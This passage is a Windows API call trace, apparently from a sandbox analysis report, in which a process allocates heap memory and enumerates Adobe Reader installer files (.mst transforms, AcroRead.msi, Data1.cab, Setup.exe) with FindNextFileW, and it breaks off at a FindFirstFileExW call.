Flags=0x8, Size=0x18) returned 0x11efe68 [0084.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e3bf8 [0084.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.928] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1041.mst", cAlternateFileName="")) returned 1 [0084.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.929] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.929] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efe88 [0084.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e3d00 [0084.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7fc0) returned 0x12ea380 [0084.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0084.930] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.930] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1042.mst", cAlternateFileName="")) returned 1 [0084.930] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.931] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.931] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efea8 [0084.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e3e08 [0084.932] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.932] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1043.mst", cAlternateFileName="")) returned 1 [0084.932] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.933] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efec8 [0084.933] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e3f10 [0084.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.934] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1044.mst", cAlternateFileName="")) returned 1 [0084.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.934] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.934] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.935] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efee8 [0084.935] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4018 [0084.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.936] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1045.mst", cAlternateFileName="")) returned 1 [0084.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.936] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.936] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eff08 [0084.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4120 [0084.937] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.937] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046.mst", cAlternateFileName="")) returned 1 [0084.937] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.938] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.938] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eff28 [0084.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4228 [0084.939] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.939] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1048.mst", cAlternateFileName="")) returned 1 [0084.939] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.940] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eff48 [0084.940] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4330 [0084.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.941] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049.mst", cAlternateFileName="")) returned 1 [0084.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.941] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.941] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.942] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eff68 [0084.942] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4438 [0084.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.943] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1050.mst", cAlternateFileName="")) returned 1 [0084.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.943] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11eff88 [0084.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4540 [0084.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.944] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1051.mst", cAlternateFileName="")) returned 1 [0084.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11effa8 [0084.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4648 [0084.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.946] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1053.mst", cAlternateFileName="")) returned 1 [0084.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11effc8 [0084.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4750 [0084.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d50e0e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1055.mst", cAlternateFileName="")) returned 1 [0084.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11effe8 [0084.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4858 [0084.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="1058.mst", cAlternateFileName="")) returned 1 [0084.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0008 [0084.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4960 [0084.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1060.mst", cAlternateFileName="")) returned 1 [0084.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0028 [0084.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4a68 [0084.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1069.mst", cAlternateFileName="")) returned 1 [0084.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0048 [0084.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4b70 [0084.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.955] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="2052.mst", cAlternateFileName="")) returned 1 [0084.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0068 [0084.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4c78 [0084.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x6c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ABCPY.INI", cAlternateFileName="")) returned 1 [0084.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.957] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.958] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f0088 [0084.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e4d80 [0084.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8000) returned 0x12bb0b0 [0084.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ea380) returned 1 [0084.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.959] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4e7f80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x268000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRead.msi", cAlternateFileName="")) returned 1 [0084.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc69b0a00, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d4c1e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc69b0a00, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x7a3f7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0084.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x525c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0084.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 1 [0084.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.960] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.ini", cAlternateFileName="")) returned 0 [0084.960] GetLastError () returned 0x12 [0084.960] FindFirstFileExW (in: lpFileName="C:\\Program Files 